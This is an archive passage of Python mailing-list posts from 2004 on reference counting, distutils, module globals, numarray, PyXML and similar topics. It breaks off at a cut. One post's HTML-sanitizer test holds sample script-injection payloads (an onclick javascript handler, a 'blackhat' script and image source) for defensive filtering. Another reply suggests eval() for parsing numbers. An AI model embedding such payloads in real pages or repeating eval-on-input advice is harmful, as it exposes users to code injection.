From: mwh at python.net (Michael Hudson)
Date: Thu, 19 Feb 2004 11:37:11 GMT
Subject: getattr
References: <mailman.45.1077160900.27104.python-list@python.org>
Message-ID: <m365e3jo60.fsf@pc150.maths.bris.ac.uk>

Srikanth Mandava <Srikanth.Mandava at cosinecom.com> writes:

> How can getattr() be used to call a constructor method?

Huh?

Cheers,
mwh

-- 
  About the use of language: it is impossible to sharpen a
  pencil with a blunt axe.  It is equally vain to try to do
  it with ten blunt axes instead.
      -- E.W.Dijkstra, 18th June 1975. Perl did not exist at the time.


From eric at zomething.com  Fri Feb  6 21:59:34 2004
From: eric at zomething.com (Eric @ Zomething)
Date: Fri, 6 Feb 2004 18:59:34 -0800
Subject: Beginning programmer question - How to print a list in a
	different format
Message-ID: <E1Apy29-0001aX-2u@host04.ipowerweb.com>

John wrote @ the computer:

> p1handlist = p1hand.keys()
> print p1handlist
> 
> and the output looks like this:
> 
> ['b12', 'd12', 'd23', 'n12', 'n23', 'n34', 'p12', 'p23', 'p34', 'p45']
> 
> how can I make it so that the output looks more like this?:
> 
> b12, d12, d23, n12, n23, n34, p12, p23, p34, p45



You're already there, but need to iterate over the keys instead of printing the list object p1handlist.

>>> for each in p1handlist:
	print each

n12
n23
d23
b12
d12

>>> for each in p1hand.keys():
	print each
	
n12
n23
d23
b12
d12


[I didn't load the full list]


Eric Pederson



From m_webber_sydney at yahoo.com.au  Sun Feb  8 16:33:22 2004
From: m_webber_sydney at yahoo.com.au (Matthew)
Date: 8 Feb 2004 13:33:22 -0800
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <b6ba3f59.0402081333.71dc7cdb@posting.google.com>

Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<c03pel$19ts$1 at arachne.labyrinth.net.au>...
> Hi all,
>    I have released a new version of the win32all extensions.  I have 
> also changed significantly the way I release them.

That sounds great. For those of us who have the ActiveState Python
release, which had win32all bundled with it, is there any way we can
upgrade that win32all, or do we need to uninstall ActiveState, then
install vanilla Python and then win32all?

Thanks


From brent at bjohnson.net  Fri Feb 20 19:16:32 2004
From: brent at bjohnson.net (Brent L Johnson)
Date: Fri, 20 Feb 2004 19:16:32 -0500
Subject: Installing RPM rebuild and failed dependency
In-Reply-To: <03b301c3f7fe$21530a70$c801a8c0@torpedo>
Message-ID: <03c801c3f80f$f8b51240$c801a8c0@torpedo>

> > Why can't you use the db4 packages included in RH9?
> 
> Ummmmm - well... I figured there was probably a RH9
> package for the Berkeley DB but I wasnt sure what
> the package name was.  db4 eh?  I'll take a look.

Well I found a db4 package on my RH9 CD's and I tried
installing it.  It turns out that I already had it
installed.

warning: db4-4.0.14-20.i386.rpm: V3 DSA signature: NOKEY, key ID
db42a60e
        package db4-4.0.14-20 is already installed

I assume this is the package you were referring to?  OK so
what next?

- Brent




From jensthiede at webgear.co.za  Fri Feb 13 12:31:51 2004
From: jensthiede at webgear.co.za (Jens Thiede)
Date: 13 Feb 2004 09:31:51 -0800
Subject: Embeded Linux and Python
Message-ID: <dcde6f.0402130931.45c0e2b0@posting.google.com>

I want to use python heavily on my embeded linux. What would the best
way be to slim down Python. Only keep those modules you would
acctually need, and not imparing Python's capabilities?

Previous experiance would be greatly appreciated,

Jens Thiede.


From martin at v.loewis.de  Wed Feb 18 02:23:57 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 18 Feb 2004 08:23:57 +0100
Subject: 2.3 encoding parsing bug
In-Reply-To: <10357pvh422kt64@corp.supernews.com>
References: <10349ardb7psua3@corp.supernews.com> <40328B45.4030400@v.loewis.de>
	<10357pvh422kt64@corp.supernews.com>
Message-ID: <4033130D.8030000@v.loewis.de>

Edward K. Ream wrote:
> Is there any chance of modifying the re to reduce the possibility of
> confusion and "false matches"?  For example, matching only 'coding' and
> 'fileeencoding' (as words).

Certainly. Propose a change to the specification, and suggest it to
python-dev. If the proposed change is acceptable, and somebodey
volunteers to provide an implementation, it will get implemented in
2.4. There is no chance of changing 2.3 in an incompatible way.
And there is, of course, no chance of changing the copies of
Python 2.3 that have already been installed.

> Thanks for your clarification of the situation.  I suppose I'll have to look
> more closely at PEP's in the future.  These over-general encoding
> declarations seem like a pretty low blow.

I personally would have preferred a proper statement to declare the
encoding, such as

pragma encoding "iso-8859-1"

However, this approach was rejected as too intrusive, and a stealth
declaration in comments was considered more appropriate.

> This was just a really bad idea, put forward in stealth, buried in an re.
> Having a _restricted_ kind of special-purpose comment is one thing:  having
> a way-too-general kind of special-purpose comment is wrong, wrong, wrong.
> It needlessly invalidates comments that _should_ have been none of Python's
> business.

OTOH, LEO _should_ not have come up with its own syntax to specify an
encoding. Instead, LEO should have used established conventions, such
as

   -*- coding: <codingname> -*-

> My guess is that I could have read this many times without having the
> slightest hint of danger: the re bears almost no relation to the English
> words.

That is not true. The English language gives specific, recommended
examples. Users (i.e. python programmers) should use the recommended
syntax, instead of coming up with their own syntax that still matches
the regular expression.

The regular expression is introduced with the words "more precisely",
which always should make readers of formal specifications cautious.
In particular, this aspect is directed at developers of tools that
edit Python source, as this is the regular expression they need to
use to determine the encoding of the file. If LEO can read Python
files, this regular expression should have been used ever since
support for coding declarations was implemented.

Regards,
Martin



From gerrit at nl.linux.org  Thu Feb  5 10:23:47 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 5 Feb 2004 16:23:47 +0100
Subject: counting references to an instance
In-Reply-To: <DE1CF2B4FEC4A342BF62B6B2B334601E561CE3@opus.amorhq.net>
References: <DE1CF2B4FEC4A342BF62B6B2B334601E561CE3@opus.amorhq.net>
Message-ID: <20040205152347.GA4376@nl.linux.org>

Robert Brewer wrote:
> getrefcount(object)
> 
> Return the reference count of the object. The count returned is
> generally one higher than you might expect, because it includes the
> (temporary) reference as an argument to getrefcount().

Hmm, interesting little getrefcount test:
16:20:57:2522:gerrit at topjaklont:~/bin$ python2.3
Python 2.3.3 (#1, Feb  2 2004, 15:37:26)
[GCC 3.3.2 20031022 (Red Hat Linux 3.3.2-1)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> [(i,sys.getrefcount(i)-3) for i in xrange(110)]
[(0, 114), (1, 55), (2, 25), (3, 14), (4, 11), (5, 7), (6, 8), (7, 8), (8, 9), (9, 7), (10, 12), (11, 6), (12, 6), (13, 5), (14, 5), (15, 4), (16, 5), (17, 6), (18, 4), (19, 4), (20, 4), (21, 4), (22, 4), (23, 5), (24, 4), (25, 5), (26, 4), (27, 4), (28, 4), (29, 6), (30, 5), (31, 4), (32, 6), (33, 2), (34, 2), (35, 2), (36, 2), (37, 2), (38, 2), (39, 2), (40, 2), (41, 2), (42, 2), (43, 2), (44, 2), (45, 2), (46, 2), (47, 2), (48, 2), (49, 2), (50, 2), (51, 2), (52, 2), (53, 2), (54, 2), (55, 3), (56, 3), (57, 2), (58, 2), (59, 2), (60, 3), (61, 2), (62, 2), (63, 2), (64, 10), (65, 7), (66, 5), (67, 5), (68, 5), (69, 5), (70, 5), (71, 5), (72, 5), (73, 5), (74, 5), (75, 5), (76, 5), (77, 5), (78, 5), (79, 2), (80, 2), (81, 2), (82, 2), (83, 2), (84, 2), (85, 2), (86, 2), (87, 2), (88, 2), (89, 2), (90, 2), (91, 2), (92, 2), (93, 2), (94, 2), (95, 2), (96, 2), (97, 2), (98, 2), (99, 2), (100, 0), (101, 0), (102, 0), (103, 0), (104, 0), (105, 0), (106, 0), (107, 0), (108, 0), (109, 0)]
>>>
16:21:01:2523:gerrit at topjaklont:~/bin$ python2.3 -OOS
Python 2.3.3 (#1, Feb  2 2004, 15:37:26)
[GCC 3.3.2 20031022 (Red Hat Linux 3.3.2-1)] on linux2
>>> import sys; [(i,sys.getrefcount(i)-3) for i in xrange(110)]
[(0, 111), (1, 51), (2, 23), (3, 14), (4, 11), (5, 7), (6, 8), (7, 8), (8, 9), (9, 7), (10, 12), (11, 6), (12, 6), (13, 5), (14, 5), (15, 4), (16, 5), (17, 6), (18, 4), (19, 4), (20, 4), (21, 4), (22, 4), (23, 5), (24, 4), (25, 4), (26, 4), (27, 4), (28, 4), (29, 6), (30, 5), (31, 4), (32, 6), (33, 2), (34, 2), (35, 2), (36, 2), (37, 2), (38, 2), (39, 2), (40, 2), (41, 2), (42, 2), (43, 2), (44, 2), (45, 2), (46, 2), (47, 2), (48, 2), (49, 2), (50, 2), (51, 3), (52, 2), (53, 2), (54, 2), (55, 2), (56, 3), (57, 2), (58, 2), (59, 2), (60, 3), (61, 2), (62, 2), (63, 2), (64, 10), (65, 7), (66, 5), (67, 5), (68, 5), (69, 5), (70, 5), (71, 5), (72, 5), (73, 5), (74, 5), (75, 5), (76, 5), (77, 5), (78, 5), (79, 2), (80, 2), (81, 2), (82, 2), (83, 2), (84, 2), (85, 2), (86, 2), (87, 2), (88, 2), (89, 2), (90, 2), (91, 2), (92, 2), (93, 2), (94, 2), (95, 2), (96, 2), (97, 2), (98, 2), (99, 2), (100, 0), (101, 0), (102, 0), (103, 0), (104, 0), (105, 0), (106, 0), (107, 0), (108, 0), (109, 0)]

...powers of two have a lot more refences, but 17 and 29 have 2 references
more than 18 or 28... interesting.

IIRC, Python keeps references of all small integers,
apparantly all smaller than 100.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From jgrahn-nntq at algonet.se  Sat Feb 14 06:29:13 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Sat, 14 Feb 2004 11:29:13 +0000 (UTC)
Subject: distutils possibilities
References: <930ba99a.0402140257.ac37687@posting.google.com>
Message-ID: <slrnc2s1he.eoi.jgrahn-nntq@frailea.sa.invalid>

On 14 Feb 2004 02:57:43 -0800, Sridhar R <sridharinfinity at yahoo.com> wrote:
> I learnt that distutils can be used to package python modules and
> packages.  Fine it does that well.
> 
> Suppose I am writing an python application (not package or module),
> and suppose that I am using Linux.  Where should I install the python
> source files and bin scripts and data in my /usr directory?

I believe the Debian people have faced a similar problem, with distutils
versus their packaging procedure and file system standards. Google their
mailing lists for some thoughts on the matter (in case of no reply here).

/Jorgen

-- 
  // Jorgen Grahn <jgrahn@      ''If All Men Were Brothers,
\X/                algonet.se>    Would You Let One Marry Your Sister?''


From sidharthk at hotmail.com  Tue Feb 10 07:45:42 2004
From: sidharthk at hotmail.com (sid)
Date: Tue, 10 Feb 2004 18:15:42 +0530
Subject: Creating objects you don't actually want
References: <d232c5e.0402100250.20e49e37@posting.google.com>
Message-ID: <c0ajph$153q3a$1@ID-223265.news.uni-berlin.de>

Python uses a reference counting mechanism, so an object will be deleted as
it there aren't any references to it. So you really needn't bother about
deleting objects.

Chris Lyon
> class sfxobject(object):
>     def __init__(self,filename):
>         if isfile(filename):
>             self.filename = filename
>             # all kinds of other parameter setting
>          else:
>             raise sfxobjectError
>
> for item in os.listdir('dir'):
>     try:
>         sfx = sfxobject(item)
>     except: sfxobjectError
>         del sfx
>
you won't be able to delete sfx since the variable wasn't even created
this could be written as
for item in os.lsitdir('dir')
    try:
        sfx = sfxobject(item)
    except sfxobjectError:
        pass


> for item in os.listdir('dir'):
>     if os.isfile(item):
>         sfx = sfxobject(item)
>
this is a better way.






From jmdeschamps at cvm.qc.ca  Wed Feb 11 10:59:14 2004
From: jmdeschamps at cvm.qc.ca (jmdeschamps)
Date: 11 Feb 2004 07:59:14 -0800
Subject: tkSnack or other sound tool
Message-ID: <3d06fae9.0402110759.108e5b41@posting.google.com>

I'm trying to play programmed music by iteratively applying filter
changes to a playing Sound object.

It almost seem to work but i can't control duration of sounds???

Using tkSnack 2.2.4 for Python (naturl?ch!)
with python 2.3.some

Thanks,
Jean-Marc
(maybe I should investigate other tool for my synthesizing
experiments?, - which one then???)

PS my code:
from Tkinter import *
from tkSnack import *
import time
root = Tkinter.Tk()

initializeSnack(root)

s = Sound()

filt = Filter('generator', 440.0)
filt.configure(440, 1000, 00.7, "rectangle", 5000)

def play():
   s.play(filter=filt)
   for i in range(100):
      filt.configure(i+440)
      
def stop():
   s.stop()

f = Frame(root)
f.pack()

fb = Frame(root)
fb.pack(side='bottom')
Button(fb, bitmap='snackPlay', command=play).pack(side='left')
Button(fb, bitmap='snackStop', command=stop).pack(side='left')

root.mainloop()


From ngps at netmemetic.com  Sat Feb 28 12:28:32 2004
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 28 Feb 2004 17:28:32 GMT
Subject: Publish/Subscribe Lib for Python?
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
Message-ID: <c1qj40$d56$1@mawar.singnet.com.sg>

According to Adrian B. <borg at swirve.com>:
> Does anyone know of a framework or library that will enable me to use
> publish/subscribe comms?  I want to create a server (using Python)
> running on a Unix box that will accept client connections (from GUIs
> built with wxPython) and publish realtime data updates to them.  Any
> advice on where to start?

Just choose any blogging library that takes your fancy.


-- 
Ng Pheng Siong <ngps at netmemetic.com> 

http://firewall.rulemaker.net -+- Firewall Change Management & Version Control
http://sandbox.rulemaker.net/ngps -+- Open Source Python Crypto & SSL


From jcarlson at nospam.uci.edu  Sat Feb 21 12:47:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 09:47:17 -0800
Subject: #! Question
In-Reply-To: <slrnc3f2jp.9s6.joe@gate.notcharles.ca>
References: <30875970.0402191650.57dfe998@posting.google.com>
	<40367658$1@nntp0.pdx.net> <c16v8a$87n$1@news.service.uci.edu>
	<slrnc3f2jp.9s6.joe@gate.notcharles.ca>
Message-ID: <c185o0$j7o$2@news.service.uci.edu>

> Is anyone else reading the title of this thread as a curse?

No, but I am reading it as "pound-bang" or "hash-bang".

  - Josiah


From rmunn at pobox.com  Fri Feb 13 13:43:54 2004
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 13 Feb 2004 18:43:54 GMT
Subject: Another software design question: program-level globals
Message-ID: <KV8Xb.6707$PY.2127@newssvr26.news.prodigy.com>

OK, here's another software design question, one that's been bugging me
for a while now. What do y'all think is the best way to handle
program-level globals, such as configuration option -- especially in
multi-module programs?

Here's one approach:

--- main.py ---
import my_globals as g
import somefuncs
import morefuncs
from optparse import OptionParser

def main():
    parser = OptionParser()
    parser.add_option( ... )
    g.opts, g.args = parser.parse_args()

    somefuncs.do_setup()
    morefuncs.do_some_more_setup()
    
    somefuncs.do_some_work()

if __name__ == '__main__':
    main()


--- somefuncs.py ---
import my_globals as g

def do_setup():
    if g.opts.some_option:
        do_it_one_way()
    else:
        do_it_a_different_way()


--- morefuncs.py ---
import my_globals as g

def do_some_more_setup():
    for arg in g.args:
        do_something_with(arg)


--- my_globals.py ---
(empty file)


This approach relies on the fact that modules only get imported once.
Thus when each module imports my_globals, it gets the *same* object
(which is then given the name g to make it easier to write later). So
when the attributes of g are modified in the main() function, they can
then be read by do_setup() and do_some_more_setup(), because the object
that somefuncs.py and morefuncs.py call "g" is the same module object
that main.py also calls "g".

This is the best approach I've found so far, but I would welcome
comments and suggestions for improvements.

-- 
Robin Munn
rmunn at pobox.com


From peter at engcorp.com  Wed Feb 18 18:09:57 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 18:09:57 -0500
Subject: Accessing method object from within a method
References: <4033d11a$1_2@news.unc.edu> <4033D7ED.D3F7754F@engcorp.com>
	<4033e199$1_3@news.unc.edu>
Message-ID: <4033F0C5.4AF3418E@engcorp.com>

> Vivek Sawant wrote:
> 
> I had browsed through documentation for frame objects earlier, but nothing 
> had jumped out. Here's what your suggestion helped me conjur up and it worked:
> 
> def method (self, ...)
>    mname = sys._getframe(0).f_code.co_name;
>    # do something with mname
> 
> Is this what you had in mind or did you mean to suggest something better?

That's about it.  By referring to frame objects, I meant to lead you to
the stuff which you found so that you could see the extent of information
aside from just function name, which is available to you.  Enjoy! :)

-Peter


From alanmk at hotmail.com  Thu Feb 12 14:13:52 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 12 Feb 2004 19:13:52 +0000
Subject: Simple allowing of HTML elements/attributes?
References: <ZYnWb.1600$h86.1207651@monger.newsread.com>
	<qnklln9grv6.fsf@arbutus.physics.mcmaster.ca>
	<e9570f37.0402112058.75921da4@posting.google.com>
	<402B78EE.56B854C@hotmail.com>
Message-ID: <402BD070.88DDB301@hotmail.com>

[Alan Kennedy]
> The optimal solution, IMHO, is to tidy the HTML into XML, and then use
> SAX to filter out the stuff you don't want. Here is some code that
> does the latter. This should be nice and fast, and use a lot less
> memory than object-model based approaches.

Unfortunately, in my haste to post a demonstration of a technique
earlier on, I posted running code that is both buggy and *INSECURE*.
The following are problems with it

1. A bug in making up the attribute string results in loss of
permitted attributes.

2. The failure to escape character data (i.e. map '<' to '&lt;' and
'>' to '&gt;') as it is written out gives rise to the possibility of a
code injection attack. It's easy to circumvent the check for malicious
code: I'll leave to y'all to figure out how.

3. I have a feeling that the failure to escape the attribute values
also opens the possibility of a code injection attack. I'm not
certain: it depends on the browser environment in which the final HTML
is rendered.

Anyway, here's some updated code that closes the SECURITY HOLES in the
earlier-posted version :-(

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
import xml.sax
from xml.sax.saxutils import escape, quoteattr
import cStringIO as StringIO

permittedElements = ['html', 'body', 'b', 'i', 'p']
permittedAttrs = ['class', 'id', ]

class cleaner(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outbuf = StringIO.StringIO()

  def startElement(self, elemname, attrs):
    if elemname in permittedElements:
      attrstr = ""
      for a in attrs.keys():
        if a in permittedAttrs:
          attrstr = "%s%s" % (attrstr, " %s=%s" % (a,
quoteattr(attrs[a])))
      self.outbuf.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    if elemname in permittedElements:
      self.outbuf.write("</%s>" % (elemname,))

  def characters(self, s):
    self.outbuf.write("%s" % (escape(s),))

testdoc = """
<html>
  <body>
    <p class="1" id="2">This paragraph contains <b>only</b> permitted
elements.</p>
    <p>This paragraph contains <i 
    onclick="javascript:pop('porno.htm')">disallowed
attributes</i>.</p>
    <img src="http://www.blackhat.com/session_hijack.gif"/>
    <p>This paragraph contains
    <script src="blackhat.js"/>a potential script
    attack</p>
  </body>
</html>
"""

if __name__ == "__main__":
  parser = xml.sax.make_parser()
  mycleaner = cleaner()
  parser.setContentHandler(mycleaner)
  parser.setFeature(xml.sax.handler.feature_namespaces, 0)
  parser.feed(testdoc)
  print mycleaner.outbuf.getvalue()
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

regards,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From marco at bubke.de  Tue Feb 24 09:40:55 2004
From: marco at bubke.de (Marco Bubke)
Date: Tue, 24 Feb 2004 15:40:55 +0100
Subject: numarray bug or my?
References: <c1dtvc$m53$1@graf.cs.uni-magdeburg.de>
	<pan.2004.02.23.23.01.37.704171@NOTTHISBIT.webone.com.au>
Message-ID: <c1fnq1$skp$1@graf.cs.uni-magdeburg.de>

Simon Burton wrote:

> On Mon, 23 Feb 2004 23:14:03 +0100, Marco Bubke wrote:
> 
> ...
>> Ok, its in Pyrex and has a bug in
>> flat_view = array_to_int(viewport),
>> but I don't know why. If I change the code to flat_view =
>> array_to_double(viewport) its runnig without glitches. I really dont
>> understand it.
>> 
>> Thx
>> 
>> Marco
> 
> Yes, me too. I wasn't sure if NA_InputArray was supposed
> to be able to handle type conversions, so I used the python
> method:
> 
> array = array.astype(numarray.Int32)
> 
> and then used NA_InputArray on that.
> 
> Simon.

Ok, Than I do that, I get everytime a Segmentation fault. Before it was only
from time to time. An its 100% NA_InputArray. If I erease NA_updateDataPtr
before NA_InputArray I get a amok process.

cdef NumArray array_to_float(NumArray array):
  # maybe here is memoty leak!
  cdef NumArray flat_array
  cdef NumArray new_array
  print 'mark 1'
  new_array = array.astype('Float32')
  print new_array
  print 'mark 2'
  new_array = NA_updateDataPtr(new_array)
  print 'mark 3'  
  NA_IoArray(new_array, tFloat32, NUM_C_ARRAY)
  print 'mark 4'  
  flat_array = NA_updateDataPtr(flat_array)
  print 'mark 5'  
  return flat_array


From PeterAbel at gmx.net  Sun Feb 15 14:41:07 2004
From: PeterAbel at gmx.net (Peter Abel)
Date: 15 Feb 2004 11:41:07 -0800
Subject: __del__ doesn't work
Message-ID: <21064255.0402151141.51a38fed@posting.google.com>

I have an application, which is an instance of a class
with a deeply nested object hierarchy. Among others one
method will be executed as a thread, which can be stopped.
Everything works fine except that when deleting the main
instance -  after the thread has been stopped -
the __del__ method will not be carried out.

Tough a simple example works as expected:
>>> class A:
... 	def __init__(self):
... 		print 'Constructor of A()'
... 	def __del__(self):
... 		print 'Destructor of A()'
... 		
>>> a=A()
Constructor of A()
>>> del a
Destructor of A()

After all I know I can't expect that the __del__ method
is executed imediatly when deleting the instance
e.g. "del a" as in the example.

But the statements
import gc

and

gc.collect()

should assure that when the reference counter goes to zero
some time the __del__ method is executed.
But it never does.

So am I expecting something wrong
or am I doing something not in the right way?

The code is too complex to post it here or even a snippet.
But I think it's not a matter code but a matter of philosophy
that I may not have understood.
Any help would be appreciated.

Regards
Peter


From dorward at yahoo.com  Wed Feb 25 16:05:10 2004
From: dorward at yahoo.com (David Dorward)
Date: Wed, 25 Feb 2004 21:05:10 +0000
Subject: PyXML, Sax, error in processing external entity reference
Message-ID: <c1j2q8$6pb$1$8300dec7@news.demon.co.uk>

I'm attempting to read an XHTML 1.1 file[1], perform some DOM manipulation,
then write the results to a different file.

I've found myself rather stuck at the first hurdle.

I have the following:

from xml.dom.ext.reader import Sax2
reader = Sax2.Reader()
f = open('dorward.me.uk/sitemap.html', 'r')
doc = reader.fromStream(f)

(dorward.me.uk/sitemap.html being a local copy of
http://dorward.me.uk/sitemap.html)

... which outputs the following:

Traceback (most recent call last):
  File "x.py", line 4, in ?
    doc = reader.fromStream(f)
  File "/usr/lib/python2.3/site-packages/_xmlplus/dom/ext/reader/Sax2.py",
line 372, in fromStream
    self.parser.parse(s)
  File "/usr/lib/python2.3/site-packages/_xmlplus/sax/expatreader.py", line
109, in parse
    xmlreader.IncrementalParser.parse(self, source)
  File "/usr/lib/python2.3/site-packages/_xmlplus/sax/xmlreader.py", line
123, in parse
    self.feed(buffer)
  File "/usr/lib/python2.3/site-packages/_xmlplus/sax/expatreader.py", line
220, in feed
    self._err_handler.fatalError(exc)
  File "/usr/lib/python2.3/site-packages/_xmlplus/dom/ext/reader/Sax2.py",
line 340, in fatalError
    raise exception
xml.sax._exceptions.SAXParseException:
http://www.w3.org/TR/xhtml-modularization/DTD/xhtml-notations-1.mod:115:0:
error in processing external entity reference

I'm not sure where I should proceed from here. Is it a bug in my code? In
PyXML? In the DTD itself? What should I do next?

Thanks.

[1] Actually, lots of files, but one at a time.

-- 
David Dorward                                      <http://dorward.me.uk/>


From mcfletch at rogers.com  Mon Feb  2 14:25:12 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 02 Feb 2004 14:25:12 -0500
Subject: where should config files go in Windows?
In-Reply-To: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>
References: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>
Message-ID: <401EA418.9040407@rogers.com>

Russell E. Owen wrote:
...

>For unix and MacOS X I store settings in ~/.TUIPrefs and ~/.TUIGeom and 
>allow extensions to be stored in ~/TUIAdditions/ and <app's parent 
>dir>/TUIAdditions/.
>
>Is the home dir easily accessible from vanilla Python (and if so, how do 
>I get there)? Is there a better directory (I'm really not keen to mess 
>with the registry) or some special add-on library that I'll need?
>  
>
There are actually multiple directories for this kind of thing, 
depending on whether you're describing user's documents, 
application-specific data for the user (e.g. custom dictionaries), 
common application-specific data (app-specific system dictionaries), 
etceteras.  You can see an example of retrieving the user's 
application-specific data directory here:

http://cvs.sourceforge.net/viewcvs.py/pyopengl/OpenGLContext/browser/homedirectory.py?view=markup

using either of _winreg (standard module) or win32com's shell (common 
add-on, part of win32all).

See the MSDN documentation for the various folders which are defined.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shgetfolderpath.asp

>Also, is there something simple like unix's leading "." that makes 
>Windows files invisible?
>  
>
Haven't tried to do this myself.  But then I hate "hidden" files enough 
to simply disable hiding them in the explorer, so who knows, maybe I 
hide them all the time :) .  On windows it's more common to just put the 
file in the correct directory, where they are "out of the way", instead 
of dumping them into a "home" directory and hiding them.

Good luck,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From tjreedy at udel.edu  Wed Feb 25 12:05:15 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Feb 2004 12:05:15 -0500
Subject: Memory Leak ['LBBW': checked]
References: <OF2B2CB932.A2F52747-ONC1256E45.004A4668-C1256E45.004E91A1@lbbw.sko.de>
Message-ID: <c1ikkc$6sv$1@sea.gmane.org>


"Holger Joukl" <Holger.Joukl at LBBW.de> wrote in message
news:OF2B2CB932.A2F52747-ONC1256E45.004A4668-C1256E45.004E91A1 at lbbw.sko.de...

>2) I am quite stunned by the del alist[:] thing:
...
>alist[:] creates a shallow copy of alist,

The grammar for the delete statement is 'del <target>', not 'del
<expression>'.  Compare with assignment (binding) statements (which del
reverses): '<target> = <expression>'  The expression is fully evaluated.
The target is only evaluated to the extent needed to find the location for
the binding.  So 'del alist[:]' reverses 'alist[:] = <sequence>' and
'alist[:]' is handled the same for both.  To put it another way, del
<target> does the same thing that <target> = <expr> does before the latter
makes the assignment.

Given that function calls fully evaluate all arguements, while we do *not*
want targets evaluated to objects, assignment and del statements (and some
others) must be statements rather than functions.  (In Lisp, if you are
familiar with that, they would be special forms or macros.)

Terry J. Reedy






From r__hughes at hotmail.com  Mon Feb 23 17:01:42 2004
From: r__hughes at hotmail.com (R Hughes)
Date: Mon, 23 Feb 2004 17:01:42 -0500
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
Message-ID: <c1e534$r9o$1@news.eusc.inter.net>

No doubt someone has already suggested eval()
as in:
string = '555'
number  = eval(s)

"Shah, Rajesh (GE Consumer & Industrial)" <Rajesh.Shah at ge.com> wrote in
message news:mailman.198.1077534828.27104.python-list at python.org...
Hi Everybody,

Can you guide me to convert string into Int datatype?
(i.e. How can we convert string into int? like '555' into 555)

Thanks in advance.

~Rajesh





From elibabila at hotmail.com  Mon Feb  9 08:50:20 2004
From: elibabila at hotmail.com (Elie Babila)
Date: Mon, 09 Feb 2004 13:50:20 +0000
Subject: Embedding - getting full error string
Message-ID: <BAY8-F31R6mJB526tr5000115b7@hotmail.com>


Thank you for your answer. I've added the lines you specified, and it fixed 
my problem.
Thanks again.

Elie

>From: Paul Miller <paul at fxtech.com>
>To: elibabila at hotmail.com (Elie B.), python-list at python.org
>Subject: Re: Embedding - getting full error string
>Date: Sun, 08 Feb 2004 09:51:27 -0600
>
>
>>static PyObject *mymodule_printit(PyObject *self, PyObject* args)
>>{
>>         char *s;
>>         PyArg_ParseTuple(args, "s", &s);
>>         PrintToWindow(s); <-- my function
>>         return NULL;
>>}
>
>One problem is technically you're returning an error from your print 
>function. You need to return an increfed PyNone:
>
>         Py_INCREF(Py_None);
>         return Py_None;
>
>Otherwise your code looks pretty much like mine does, and it works fine.
>
>
>

_________________________________________________________________
Protect your PC - get McAfee.com VirusScan Online 
http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963




From stewart at midtoad.homelinux.org  Tue Feb 24 01:59:37 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Tue, 24 Feb 2004 06:59:37 GMT
Subject: What's the best newsgroup/mailing list for Tkinter problems?
Message-ID: <tDC_b.606683$X%5.527778@pd7tw2no>

where is the best place to discuss GUI development problems?  Thanks!



From CousinStanley at hotmail.com  Wed Feb 25 13:48:09 2004
From: CousinStanley at hotmail.com (Cousin Stanley)
Date: Wed, 25 Feb 2004 11:48:09 -0700
Subject: Locate python home
References: <c1ho3e$2g8h$1@news.uit.no>	<c1hp3a$71e$1@swifty.westend.com><c1hqsb$2h4v$1@news.uit.no>	<mailman.90.1077703253.8594.python-list@python.org><c1htmp$2ia4$1@news.uit.no>
	<mailman.94.1077707629.8594.python-list@python.org>
Message-ID: <c1iqeg$1jicbo$1@ID-130333.news.uni-berlin.de>

| ....
| just need to be knocked up-side the head
| with a cloodle-stick  
| .... 

  I always try to keep one handy,
  but too often  MUST  apply self.cloodle_stick() ....

-- 
Cousin Stanley
Human Being
Phoenix, Arizona



From bart_nessux at hotmail.com  Wed Feb 11 15:49:07 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 15:49:07 -0500
Subject: sets and subsets
Message-ID: <c0e4g3$r1$1@solaris.cc.vt.edu>

By using lists, I can create sets of number. Suppose I have three lists. 
One list is the super-set, one is a set that contains all the numbers 
(just like the super-set) and the last is sub-set of the super-set. For 
example:

a = [1,2,3,4,5]	# The super-set.
b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
c = [2,4]	# A sub-set

I'd like to remove 2 & 4 from set b BECAUSE they are present in set c... 
this would make the sets look like this:

a = [1,2,3,4,5]
b = [1,3,5]
c = [2,4]

How do I test set c to find what it contains and then look at set b to 
see if it contains any of those same numbers, and if so, remove them.



From steve at ninereeds.fsnet.co.uk  Fri Feb 27 19:14:29 2004
